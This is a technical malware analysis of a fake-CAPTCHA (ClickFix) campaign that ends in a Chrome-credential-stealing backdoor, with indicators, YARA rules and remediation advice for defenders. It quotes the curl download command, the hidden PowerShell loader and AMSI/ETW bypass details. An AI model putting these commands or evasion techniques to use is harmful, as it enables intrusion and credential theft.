How the fake "verify you are human" malware works
A technical write-up - ArchiveGenocide. Published 23 October 2026, version 1.2 (last updated 23 October 2026).
We're publishing this next to our warning video for anyone who wants the technical detail or needs the indicators to protect other people.
Every malicious domain, link and address below is "defanged" (hxxps, [.]) so nobody clicks one by accident. Please don't visit them. The links to URLhaus and VirusTotal in section 6 are safe and work normally. Section 11 has the lower-level details for analysts.
Downloads
Plain files for defenders, generated from this report and updated with it. Checksums for all of them are in SHA256SUMS.txt.
- iocs.txt 3.1 KB
Indicators: domains, file hashes, version info and related samples, as plain textSHA-256 d6e70230502457a92de62ca63d1e4e54aff3b40ba28a1041b0f7ca7f542b566f - sha256-hashes.txt 2.5 KB
Every SHA-256 in this report, 40 in all, one per line, ready for a blocklist or a log searchSHA-256 d6c28cc19aad6b2b150c02a4b833bc80c92ea2ed24699c8ca4070ef2db5e3105 - rules.yar 1.1 KB
The two YARA rules from section 9SHA-256 e1b128771a928872a71e21bd90586131b2bef5422844fba09b52807c0e6c4bd3 - related_samples_2026-10-23.csv 4.9 KB
All 36 files VirusTotal shows contacting the control server, with detection countsSHA-256 1cd5ea253c1529f4057779bb9e0f68a469dce6ce8738e8a82cd16558996e1575 - malware-report.md 32.8 KB
This report as a plain-text Markdown fileSHA-256 bfa517c31ea5818a4952e4ca7901eeedb09a7d936dbb1313a9f088ee64fecd92
The short version
A website tells you to press Windows+R and paste a command to prove you're human. That command downloads a Windows installer from a domain made to look like Cloudflare. The installer unpacks five stages, almost all of them in memory, and ends in a backdoor that can run more programs and steal Chrome's saved passwords and cookies.
The chain only starts if a person pastes and runs that command. The analysis found no browser exploit, so just looking at a page is not how this one gets in.
What is confirmed, and what isn't
Confirmed by outside sources that anyone can look at: the delivery domain, the control server and its web addresses exist and are flagged by other researchers. Four of the six files are in VirusTotal, and the two executables among them are detected by dozens of antivirus engines. Details and links are in section 6.
Unknown: who runs any of this. We are not attributing it to anyone.
1. Delivery
The command people were told to paste:
cmd /c curl.exe -fsL --ssl-no-revoke --retry 8 --retry-connrefused --retry-delay 1 --connect-timeout 20 -o "%TEMP%\S791.msi" hxxps://cloubflare[.]top/4
cloubflare[.]top is a lookalike of Cloudflare's name, with a "b" where Cloudflare has a "d". It is not Cloudflare. It was registered on 18 October 2026. By 19 October, requests to it returned a Cloudflare "Suspected Malware" warning page, which is why the original download couldn't be fetched for comparison.
Commands like this are typical of "ClickFix" pages, which fake a CAPTCHA and walk you into pasting a command.
The Windows Installer log on the affected machine showed S791.msi installed twice, 13 seconds apart, and each time it was a different product. So the server builds a new package for every request, and blocking one file hash won't stop it.
2. The five stages
| Stage | What it is | What it does |
|---|---|---|
| 1 | Installer (.msi) | Installs no files. Runs per-user. All its names and IDs are random. One background action starts a hidden PowerShell window and has it read a script stored inside the installer itself. |
| 2 | PowerShell script, about 13 KB | Turns off Windows' script scanning and logging, then decodes a 2.2 MB stream into a 1.1 MB program and loads it straight into memory inside powershell.exe. After that it just sleeps in a loop to keep the process alive. |
| 3 | "Crypter" program | Decrypts a 541 KB blob and runs it as shellcode. |
| 4 | Shellcode loader | Checks whether it's running on a datacenter network and quits if so. Otherwise it unpacks and starts the final payload. |
| 5 | Final payload | The backdoor. Talks to a control server, runs tasks, and steals Chrome credentials and cookies. |
Stage 2. Three protections go first: the AMSI scanning interface is nulled out, the list of suspicious-content signatures used by PowerShell script-block logging is cleared, and PowerShell's ETW event logging is switched off. Every sensitive string in the script is rebuilt from number arrays while it runs, so it can't be found by searching the file. The decoded program is loaded by hand, never saved to disk.
Stage 3. A 64-bit Windows program (compile date reported as 31 October 2025) dressed up as an invoice viewer. Its version info says the company is "The Sheet Forge" and the product is "Sheet Invoice Nutrition Viewer". About 546 KB of it is encrypted data. When it runs it looks up ntdll functions by hash and writes its own system-call stubs into memory, seeded from the CPU's timestamp counter, so they look different every time. It then decrypts the blob with AES-256-CBC through the Windows CryptoAPI, reverses the bytes, and runs the result.
Stage 4. This one is the reason automated sandboxes see nothing. The shellcode asks ipinfo[.]io/what-is-my-ip about its own address, reads the "ASN type" field from the page it gets back, and exits if that field says "hosting". So it won't run on the kind of servers that security researchers and sandbox services use. ipinfo itself is a normal service, so please don't block it just because of this. There are more checks the analysis couldn't fully decode. If everything passes, it decrypts a second AES-256-CBC container and maps a 474,624-byte program into memory.
Stage 5. A 64-bit program (compile date reported as 15 October 2026, 15:54 UTC). It hides what it does in a few ways:
- a fake import table with 228 mostly pointless
KERNEL32functions, only referenced from code that never runs - real functions looked up at run time by walking the PE export tables
- text kept in RC4-encrypted string tables
On the theft side, the code refers to Chrome's Local State, os_crypt and encrypted_key, which is the key that protects saved passwords and cookies. It also sets up a named pipe open to everyone and launches chrome.exe, which points to an attempt to grab Chrome's App-Bound Encryption key from inside a Chrome process. How it does that wasn't worked out. The analysis found no sign of passkey, Windows Hello or TPM theft.
Other abilities the code points to: parent-process spoofing, COM use (consistent with WMI or Task Scheduler), a check for whether the machine is joined to a corporate domain, AMSI patching, and csc.exe, ilasm.exe and RuntimeBroker.exe as possible hiding places. It uses language and locale functions, but no country-based kill switch was found. There's no worm or self-spreading code. What the control server later sends down is unknowable from this sample.
3. How it talks to its control server
On first contact the payload builds a profile of the machine: an ID derived from the system drive's volume information (run through CRC-32 several times), the Windows version, a fixed value 0xB3C845A7 that is probably a build or campaign marker, and a few flags. That goes out as JSON with scrambled key names, encrypted with RC4, Base64-encoded, and POSTed to hxxps://minnarasanen[.]com/nfront.php. It presents itself as the Vivaldi browser and tries up to three times.
The reply is decoded the same way and read as a list of tasks. Each task gets its own thread and 136 seconds. Results go back to hxxps://minnarasanen[.]com/nback.php. Files for a task are downloaded into %TEMP% under a random name (up to 64 MB), then optionally decrypted and decompressed.
| Task | What it does |
|---|---|
| 1 | Writes an executable under a random name and runs it, or runs it inside explorer.exe |
| 2 | Loads a module and calls a function by hash. Purpose not determined. |
| 3 | Runs a DLL or .NET payload inside explorer.exe, or copies shellcode into executable memory and calls it |
| 4 | Starts PowerShell with a command the server supplies |
| 6 | Saves an .msi and installs it with msiexec /i, the same way the first infection happened |
| 7 | Unpacks a bundle of several files onto disk |
The numbers are the task types as found in the code; no type 5 was found. If the server asks, it will also add itself to the Run or RunOnce registry keys (per-user or machine-wide) so it starts again after a reboot.
4. What happened on the infected machine
Our analyst checked one affected Windows 11 machine one to three days after infection. Endpoint antivirus had been installed about two hours after the infection and had removed the downloaded installer. The checks found:
- no hidden PowerShell process still running
- no persistence entries in
Run,RunOnce, Winlogon, Appinit, WMI subscriptions, startup folders or similar places - nothing in a full Autoruns review that matched any stage (most entries were signature-verified, and the rest were ordinary unsigned software or leftover Windows entries)
- no leftover installer packages, no file-integrity problems, and no matches for the analyst's own YARA rules
- no DNS lookups for either malicious domain in the log window that was available (a limited window, so this doesn't prove the server was never contacted)
That's one machine, checked once. On that machine, the infection didn't appear to survive.
5. Timeline (UTC, where known)
- 4 July 2026: the lookalike of our domain is registered
- 15 October: the control-server domain is registered; the final payload is compiled that afternoon
- 16 October: the first file seen contacting the control server appears in VirusTotal, two days before the delivery domain was registered
- 17 and 18 October: stage 3 and stage 5 files first appear in VirusTotal
- 18 October: the delivery domain is registered
- 19 October: URLhaus lists the delivery domain, and a public scan the same afternoon already shows Cloudflare's warning page on it
- 22 October: the control server's web addresses are listed by URLhaus
6. What anyone can check
URLhaus (abuse.ch). hxxps://minnarasanen[.]com/nfront.php and /nback.php are listed with the tags c2, exfiltration, malware_download, oniondrop, satacom, win and ClickFix, reported by a researcher on 22 October. hxxps://cloubflare[.]top/5 is listed separately by a different researcher on 19 October, tagged maldoc ole2 (Windows installer files are OLE2 files, so that fits). Pages: https://urlhaus.abuse.ch/host/minnarasanen.com/ and https://urlhaus.abuse.ch/host/cloubflare.top/
Spamhaus lists minnarasanen[.]com as a botnet command-and-control domain and puts 109.238.86.137 on its SBL blocklist (SBL696993). Cloudflare's and AdGuard's DNS filtering both block cloubflare[.]top.
VirusTotal has the stage 3 and stage 5 files. Stage 3 is flagged by 41 of 66 engines and stage 5 by 32 of 69, and the stage 5 detections include CrowdStrike, Elastic and Symantec. The stage 3 entry even carries the file name sheet_invoice_nutrition, matching the fake version info described above. https://www.virustotal.com/gui/file/3a5fbb34e9d361e8b4887943ba9b7543dce23c7e7fa27412c5aeb988a7733ffa and https://www.virustotal.com/gui/file/9003c9e30f7ab84d7ac99c83961b236bb5da1adf9211af7b38ddaae27922d6d1
ESET is reported to detect the installer as PowerShell/Agent.FPX.
VirusTotal's own metadata for stage 3 matches the analysis on every figure we could compare: MD5, import hash, size (1,107,968 bytes), compile date, seven sections, and a 546,304-byte .rdata section at entropy 8.0. Its version information shows the internal name, original name and product name given above, and "The Sheet Forge" in the copyright line. For stage 5 the MD5, size (474,624 bytes) and compile date match.
The stage 2 encoded program and the stage 4 shellcode are in VirusTotal too, at exactly the sizes given in this report (2,215,940 and 541,332 bytes). They show no detections, which is normal for raw encrypted or encoded data that can't run on its own.
The stage 1 installer and the stage 2 script are not in VirusTotal. That's expected, since the installer is rebuilt for every request and the script only exists inside it, but it does mean those two hashes can't be confirmed from outside.
7. The lookalike domain
archievegenocide[.]com (an extra "e", registered on 4 July 2026) does not show the same thing to everyone. One of our team, loading it from an ordinary connection, was shown the page that tells visitors to paste the command.
Other visitors have seen this:
- A hosting provider's abuse team said that when they visited, they were redirected to a cryptocurrency and finance news site.
- An automated scanning service got a normal "200 OK" with a body only two bytes long, and its browser showed a page titled "Checking your browser..." (around 17:05 UTC on 23 October).
- About half an hour later, an ordinary consumer device and a VPN connection each got a plain "404 Not Found" from an OpenResty web server.
- Later that evening another visitor was shown a gambling advert.
Only one of those is the page that tells people to paste a command, so what you see when you visit doesn't tell you much. The people behind this malware already filter who gets the real thing (see stage 4), and adverts and redirects like these are also common on domains that are parked or sold through advertising networks. A harmless-looking page proves nothing. Please don't test it yourself.
We've listed the domain in section 8 but not its server addresses. Those may be shared with unrelated sites, and we don't want anyone blocking innocent ones because of us.
8. Indicators
Everything below can also be downloaded as plain files from the Downloads list at the top.
Network
All defanged:
archievegenocide[.]com lookalike of our name; content varies by visitor (see section 7)
cloubflare[.]top delivery, imitates Cloudflare
hxxps://cloubflare[.]top/4 serves the .msi
hxxps://cloubflare[.]top/5 listed by URLhaus as a malware URL
hxxps://cloubflare[.]top/login seen in public scans; purpose unknown
minnarasanen[.]com control server, 109.238.86.137, AS201738
hxxps://minnarasanen[.]com/nfront.php check-in and tasking
hxxps://minnarasanen[.]com/nback.php results
hxxps://ipinfo[.]io/what-is-my-ip normal service, used for the sandbox check
The control server's address has carried other names. VirusTotal shows walinternet[.]com resolving to it (last seen 16 October) and a name on the free wildcard-DNS service sslip[.]io (last seen 10 September), so the address was already in use about a month before the control domain was registered. We don't know how walinternet[.]com is connected, so it is deliberately not in the list above.
File hashes
SHA-256:
c0e53cb9de9f4be3e13d7fcb4bd91423df00909b9f8a148c665185accf24f3b6 stage 1, the .msi (S791.msi)
8cde125070853afe74fae47de1b0b998cdc7c74aceda819ed715aadde9216dda stage 2, PowerShell script
8e76a43bf8c239620dc8cf00857e0292525dd6d28cabbf0a8a82cc0e9aacf01b stage 2, encoded program
3a5fbb34e9d361e8b4887943ba9b7543dce23c7e7fa27412c5aeb988a7733ffa stage 3, crypter
2c33be41a7bf087a29fa8b8367aa8e64802a50a825c0180ed5401c542628b39e stage 4, shellcode (after byte reversal)
9003c9e30f7ab84d7ac99c83961b236bb5da1adf9211af7b38ddaae27922d6d1 stage 5, final payload
MD5 and import hashes:
65f26b1294a0b1bad9460b4566b300d6 stage 1, MD5
089d9c0f59ae90fd14903e3128572f25 stage 3, MD5
5fcab591f2bb814f021784af7fbe4a63 stage 5, MD5
241b6302ab625ed2e79213b6b4dfdeb2 stage 3, import hash
a3beeb86b2d4a4a9c89d5ff3fe8bc4e0 stage 5, import hash
The stage 5 import hash comes from VirusTotal. That file's import table is a decoy, but the hash still identifies this build.
Traces on an infected machine
From the build that was analysed: two environment variables with random names, one holding the installer's path and one guarding against a second launch; a registry value under HKCU\Software\ with a random key name; and Run or RunOnce entries if the server asked for persistence. Names like these change with every build, and so do the installer's metadata, GUIDs and stream names. Don't build detections on them. The hashes of stages 3 to 5, the fake version info, the domains and the behaviours are the stable parts.
Related samples
VirusTotal lists 36 files seen contacting the control server in public sandbox runs, first seen between 16 and 23 October. New ones keep appearing; the newest here was first seen on 23 October. We haven't analysed these ourselves. They are 26 ZIP archives, 8 executables and 2 PowerShell scripts, flagged by between 3 and 46 engines. Besides stages 3 and 5 above, these were flagged by 15 or more engines (hash, engines flagging, type, first seen, names seen):
612d671624b4f0f88c91960756b08692cc5fa9211f86d993ecd576ce112097bd 46/71 EXE 16 Oct 261016-y2hbzazxh1_sample.bin, skill_lesson_generator
68ae9b66f9166047b34b4ec3a35383e485c68702d48bc5ef7ce2492e4e28048f 24/68 EXE 22 Oct R92e2i2kC_decoded.bin, ypvs3fze.exe
624ef5daed1bf4a20c25bf0ee5c1a78076a8977c932dc6ae2a55a483707c0115 19/54 PowerShell 17 Oct P600.ps1
8db39bf900bb14691992a1ad2d118cfc54435b20f35d3dc64f988bf6eee7226f 19/55 EXE 20 Oct triggerdesigner, payload.bin
f5f2d1f10a88e782ffbbdf3c0698aaa1fc72fa19ba7ca6121fe9a7d4f9f65d5e 17/66 EXE 23 Oct trigger_workflow_builder, ToyURn748_decoded.exe
The full list, with detection counts, is here: related_samples_2026-10-23.csv. The ZIPs with few detections are leads to check rather than confirmed malware. A file that contacts the control server in a sandbox is suspicious, but only some of these are flagged by many engines.
9. Detection
These YARA rules are written from the facts above. Tested with YARA-X 1.21.0, they:
- compile
- fire on a file with a matching hash, and not on a copy changed by one byte
- match a real Windows program when its own version info is put into the version-info rule
- match nothing across 3,000 Windows system files
We have not been able to test them against the real samples, so please test them yourself before relying on them.
On an infected computer these stages mostly run from memory and are rarely saved as files, so the hash rule is mainly useful for samples that analysts or antivirus products have already collected, or for memory scans. The stage 1 installer is left out because it's rebuilt for every download. The version-info rule only uses fields that VirusTotal shows for the real stage 3 file.
import "hash"
import "pe"
rule Campaign_Known_Sample_Hashes
{
meta:
description = "SHA-256 of the stages named in the 23 Oct 2026 report"
condition:
hash.sha256(0, filesize) == "8cde125070853afe74fae47de1b0b998cdc7c74aceda819ed715aadde9216dda" or
hash.sha256(0, filesize) == "8e76a43bf8c239620dc8cf00857e0292525dd6d28cabbf0a8a82cc0e9aacf01b" or
hash.sha256(0, filesize) == "3a5fbb34e9d361e8b4887943ba9b7543dce23c7e7fa27412c5aeb988a7733ffa" or
hash.sha256(0, filesize) == "2c33be41a7bf087a29fa8b8367aa8e64802a50a825c0180ed5401c542628b39e" or
hash.sha256(0, filesize) == "9003c9e30f7ab84d7ac99c83961b236bb5da1adf9211af7b38ddaae27922d6d1"
}
rule Stage3_Fake_VersionInfo
{
meta:
description = "Crypter pretending to be an invoice viewer"
condition:
pe.is_pe and
pe.version_info["InternalName"] == "sheet_invoice_nutrition" and
pe.version_info["ProductName"] == "Sheet Invoice Nutrition Viewer"
}
Because each installer is different, behaviour is a better bet than hashes. Things to look for:
curl.exesaving an.msiinto%TEMP%, followed soon after bymsiexec.exeinstalling it per-user- a hidden
powershell.exestarted with-nop -w h -ep bypassby Windows Installer - a PowerShell process that sits idle for a long time but makes outbound HTTPS connections
powershell.exe, or any program that isn't a browser, requestingipinfo[.]io/what-is-my-ip- antivirus alerts about AMSI or ETW being tampered with
- new
RunorRunOncevalues written by something that isn't a normal installer - connections to
cloubflare[.]top, and POST requests tominnarasanen[.]comfrom something presenting itself as the Vivaldi browser when Vivaldi isn't installed
10. What to do
If you think you pasted the command:
- Disconnect the computer from the internet.
- From a different, clean device, change the passwords on your important accounts and sign out every other session (on Google it's Security, then Your devices, then Sign out). This malware goes after browser cookies, which can let someone in without your password, so changing passwords alone isn't enough.
- Use a hardware key or passkey for sign-in where you can.
- Get the computer checked, or wipe it and reinstall. Antivirus might remove the first file, but it can't tell you nothing else was installed.
- If you're a journalist, researcher or rights defender and you'd like help, a free digital-security helpline can walk you through it.
For everyone: a real CAPTCHA or "are you human" check never asks you to open the Run box, a terminal or PowerShell and paste something. If a page does, close it.
For administrators: consider restricting per-user MSI installs; limiting curl.exe, msiexec.exe and PowerShell for ordinary users (AppLocker or WDAC, PowerShell Constrained Language Mode); turning off the Run dialog where that's practical; keeping AMSI and script-block logging on and alerting if they're tampered with; and blocking the domains in section 8.
11. Appendix: details for analysts
Lower-level details from the static analysis, for people who want to cross-check it or write their own detections. Key material is deliberately not reproduced. Anything marked "random" changes with every build.
A. The installer
- Format: OLE compound file, x64 template. The Subject, Author, Comments and creating-application fields hold random strings. The package, product and upgrade GUIDs are random per build. On the analysed build the summary-information creation time was 2026-10-19 11:24:01.
- Properties:
MSIINSTALLPERUSER=1(noALLUSERS), plus a few decoy properties with random names. Filetable: empty.cab1.cabis an empty 44-byte cabinet, so the package installs no files.Registrytable: one value, used only as the component key path (HKCU\Software\<random>, value<random>=#1).Binarytable: two streams, 13,085 bytes (the stage 2 script) and 2,215,940 bytes (the encoded executable).CustomAction: type 5346 (0x14E2), sourceSystem64Folder, target:
WindowsPowerShell\v1.0\powershell.exe -nop -w h -ep bypass -c "$env:<VAR>='[OriginalDatabase]'; [<PROPERTY>]"
The type decodes as base type 34 (EXE, working directory from the Directory table), 0x40 ignore exit code, 0x80 asynchronous (don't wait), 0x400 deferred (in-script) and 0x1000 64-bit script. It isn't marked NoImpersonate, so it runs as the installing user.
- InstallExecuteSequence: the action runs at sequence 5200 with the condition NOT REMOVE, so on install and repair but not on uninstall.
- What the action does: [OriginalDatabase] (the path of the installing MSI) is handed over in an environment variable, and [<PROPERTY>] expands to the stage 1 script:
&([scriptblock]::Create([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('<UTF-16LE base64>'))))
B. Stage 1 script
- Detaches from
msiexec. If a guard variable isn't set, it sets it to1, reads its own command line fromWin32_Process, and relaunches itself through anAdd-TypeC# helper that callsCreateProcessW. Creation flags are0x09000200(CREATE_BREAKAWAY_FROM_JOB | CREATE_NO_WINDOW | CREATE_NEW_PROCESS_GROUP), falling back to0x08000000, withSTARTF_USESHOWWINDOWandSW_HIDE. Then the original process exits. This lets the payload outlive the installer's job object. - Builds P/Invoke stubs through
Reflection.Emit(DefineDynamicAssembly,DefinePInvokeMethod) forVirtualAlloc,VirtualProtect,CreateThread,LoadLibraryA,GetProcAddress,MsiOpenDatabaseW,MsiDatabaseOpenViewW,MsiViewExecute,MsiViewFetch,MsiRecordReadStreamandMsiCloseHandle. - Reads stage 2 out of the installer. It opens the MSI at the path from the environment variable, runs the query below, decodes the stream as UTF-8 and runs it as a script block:
SELECT `Data` FROM `Binary` WHERE `Name`='<stream name>'
C. Stage 2
- String obfuscation: every sensitive string is rebuilt from an integer array plus a constant, for example
$s+=[char]([int64]$arr[$i]+9460060). Seven strings were recovered statically. - Defence evasion:
| Target | Technique |
|---|---|
| AMSI | System.Management.Automation.AmsiUtils, static field amsiContext set to IntPtr.Zero (binding flags 40 = NonPublic, Static) |
| Script-block logging | System.Management.Automation.ScriptBlock, static field signatures (the suspicious-content list) cleared with .Clear() |
| PowerShell ETW | System.Management.Automation.Tracing.PSEtwLogProvider, field etwProvider, instance field m_enabled set to 0 |
- Decoding the second stream: the first bytes are a header
[stride, offset, reverse, unused], here[2, 0, 1, ...]. Output byteiisdata[4 + i*stride + offset], and ifreverseis set the output is then byte-reversed. The result is a 1,107,968-byte PE32+ (stage 3). - Loading it: if the CLR data directory (index 14) is non-zero the file is treated as .NET and loaded with
[Reflection.Assembly]::Load, then its entry point is invoked. Otherwise it is mapped by hand:VirtualAllocat the preferred image base (fallback: anywhere),PAGE_READWRITE- base relocations applied (types 3 and 10)
- imports resolved with
LoadLibraryAandGetProcAddress, by name only (ordinals are skipped) - headers and sections copied
- whole image set to
PAGE_EXECUTE_READWRITE CreateThreadat the entry point
- Afterwards the script loops on
Start-Sleep 30forever, which keeps the hostpowershell.exealive.
D. Stages 3 and 4
Stage 3 (crypter). PE32+ GUI, 7 sections, .rdata of 546,304 bytes at entropy 8.0, very few imports (VirtualAlloc, VirtualProtect, VirtualFree, VirtualQuery, thread-pool work APIs and a few USER32 window functions).
- Syscall stubs. It resolves
ntdll.dllby name hash (0x979720c4) and six exports by hash (0xfeae9ea5,0x06eb9ef2,0xf1b7d345,0x43736028,0xba8d0d39,0x48f60213). The first is called as(-1, &base, 0, &size, 0x3000, 0x40), which matchesNtAllocateVirtualMemory, to obtain an executable page. It then writes x86-64 machine code into that page byte by byte, mixed with large numbers of dead constant stores (for example the sequence8B 41 04 C3,mov eax,[rcx+4]; ret). The emission is seeded fromrdtsc, so the stubs differ on every run. They back six wrapper functions for memory allocation, protection and freeing. Whether the stubs use a directsyscallor jump intontdllwas not determined. - Payload decryption. A buffer is filled with the container layout below. The flags word is assembled from XOR-masked constants. Decryption uses the Windows CryptoAPI:
container: [u32 size=0x842A0][u32 flags][u64 out_ptr][8 pad][32-byte AES key @+0x18][16-byte IV @+0x38][ciphertext @+0x48]
CryptAcquireContext(PROV_RSA_AES = 0x18, CRYPT_VERIFYCONTEXT = 0xF0000000)
CryptImportKey(PLAINTEXTKEYBLOB: bType=8, bVersion=2, aiKeyAlg=0x6610 (CALG_AES_256), len=0x20)
CryptSetKeyParam(KP_IV)
CryptDecrypt(final=TRUE) -> AES-256-CBC, PKCS#7 padding
flag bits: 1 = AES-encrypted, 2 = byte-reverse after decryption, 4 = allocate the output as RWX
The plaintext is 541,332 bytes; after byte reversal it is the stage 4 shellcode, which is run through a thread-pool work item (CreateThreadpoolWork).
Stage 4 (shellcode loader).
- Layout: it starts with
E8 58 3E 07 00(acallover an embedded block of0x73E58bytes), then the loader code at offset0x73E5D:pop rcx; push rbp; mov rbp,rsp; and rsp,-16; sub rsp,0x20; call .... The prologue resembles Donut-style shellcode, but the embedded block is not a Donut instance. It is the same container format as stage 3:[u32 size=0x73E10][u32 flags=3][u64 out_ptr][pad][key @+0x18][IV @+0x38][data @+0x48]. - Environment check: an HTTPS GET to
ipinfo[.]io(port 443, path/what-is-my-ip, User-AgentMozilla/5.0). It parses the returned HTML for the "ASN type" table cell (with a<span>fallback), lower-cases it and compares it withhosting. If the address belongs to a hosting or datacenter network, it returns non-zero and the loader exits with code 1. A second routine builds a table of further checks that was not fully reversed. - Unpack and map: the container is decrypted (flags
1|2: AES-256-CBC, then byte reversal) with the key and IV taken from the container header. The resulting 474,624-byte PE32+ is mapped: allocateSizeOfImage, copy sections, apply relocations, resolve imports, jump to the entry point. The temporary decoded buffer is freed.
Sanity check on the sizes (our arithmetic, not from the analysis). 0x842A0 is 541,344 bytes of ciphertext, which is 541,332 bytes of plaintext rounded up to the 16-byte block size. 0x73E10 is 474,640 bytes, which is the 474,624-byte stage 5 file plus a full padding block. The call at the start of stage 4 jumps 0x73E58 bytes past its own 5-byte length, landing on 0x73E5D. The block the call jumps over, 0x73E58 bytes, is exactly one container: a 0x48-byte header plus 0x73E10 bytes of ciphertext. And the stage 2 decoding (skip a 4-byte header, take every second byte) turns the 2,215,940-byte stream into exactly 1,107,968 bytes, the size of stage 3. All of these agree with the figures above, and VirusTotal holds files of exactly these sizes for stages 2b, 3, 4 and 5.
E. Stage 5 (final payload)
- String tables. RC4 is implemented in one routine and is also used for C2 traffic and task payloads. A string table is:
u32 count, thencountpairs of{u32 type, u32 length}, then the concatenated entry data. Entries of type 4 are RC4-decrypted with a 16-byte key supplied at each call site. Recovered entries includeContent-Type: application/x-www-form-urlencodedand the URL templatehttps://%s/%s. - Other strings and libraries seen:
\pipe\,RuntimeBroker.exe,powershell,ntdll.dll,LdrLoadDll,\System32\Amsi.dll,AmsiScanString,AmsiScanBuffer,msiexec.exe, anmsiexec /icommand-line template,ilasm.exe,csc.exe,%SystemRoot%\explorer.exe,\SysWOW64\explorer.exe,Windows %d.%d.%d, and the DLLsWinhttp,Urlmon,Crypt32,Userenv,Advapi32,Ole32,OleAut32,Netapi32andShell32. - Check-in profile:
- bot ID: the system drive's volume information (most likely the volume serial number), hashed with CRC-32 (polynomial
0xEDB88320) five times and formatted as%08X - the OS version as
Windows %d.%d.%d - the constant
0xB3C845A7, probably a build or campaign identifier - an 8-byte field decoded by rotating each byte right by 3
- a boolean field
- all serialised as JSON with obfuscated key names, RC4-encrypted with a 31-byte key (not reproduced here), Base64-encoded and POSTed
- bot ID: the system drive's volume information (most likely the volume serial number), hashed with CRC-32 (polynomial
- Task execution. Each task runs in its own thread with a timeout of
0x88(136) seconds and returns a status code. For file-based tasks the URL from the task is downloaded to%TEMP%\<random 5-15 alphanumerics>(the call signature matchesURLDownloadToFileA), or the task refers to a local file. The file is read into memory (maximum 64 MB); if the task carries a key it is RC4-decrypted; if the compression flag is set it is decompressed withRtlDecompressBuffer(COMPRESSION_FORMAT_LZNT1)(with a 32-bit uncompressed-size prefix). - Task details beyond the table in section 3. Type 1 requires an
MZheader and either writes<base dir>\<random>\<random>.exeand runs it, or (subtype other than 0) runs it inside%SystemRoot%\explorer.exe. Type 3 has subtypes: a DLL or .NET payload executed inside\SysWOW64\explorer.exeor\explorer.exe(constructed paths), and a shellcode subtype that copies the data into memory fromVirtualAlloc(..., 0x3000, PAGE_EXECUTE_READWRITE)and calls it in-process. - Persistence. On instruction it calls
RegCreateKeyExonHKCU(0x80000001) orHKLM(0x80000002) underSOFTWARE\Microsoft\Windows\CurrentVersion\RunorRunOnce, thenRegSetValueExwithREG_SZ. The value name and data come from the server. - Chrome module. References to
Local State,os_crypt,encrypted_key,\Google\Chrome\User Dataand\Google\Chrome\Application\chrome.exe; a named pipe\\.\pipe\...with the security descriptorD:(A;;GA;;;WD)(GENERIC_ALLfor Everyone); and code that startschrome.exe. This suggests an attempt to obtain the App-Bound Encryption key from inside a Chrome process. The exact technique was not reversed.
We'll update this if we learn more. If you want to contact us, you can reach us on Telegram.
Updates
- 23 October 2026, version 1.2: corrections before wider publication. Cross-checked the figures against VirusTotal's own metadata (section 6), noted that stages 2b and 4 are in VirusTotal, changed the version-info YARA rule to use only fields VirusTotal confirms, corrected the date of Cloudflare's warning page, and fixed some wording. Also added a picture of the spelling difference (section 7), added the Downloads list (indicators, YARA rules, hash list, related samples and this report as plain files, each with its SHA-256), tidied the layout of sections 8 and 9, and made some wording plainer.
- 23 October 2026, version 1.1: added related samples (section 8) and a note on the control server's address; rewrote section 7 to describe what different visitors see.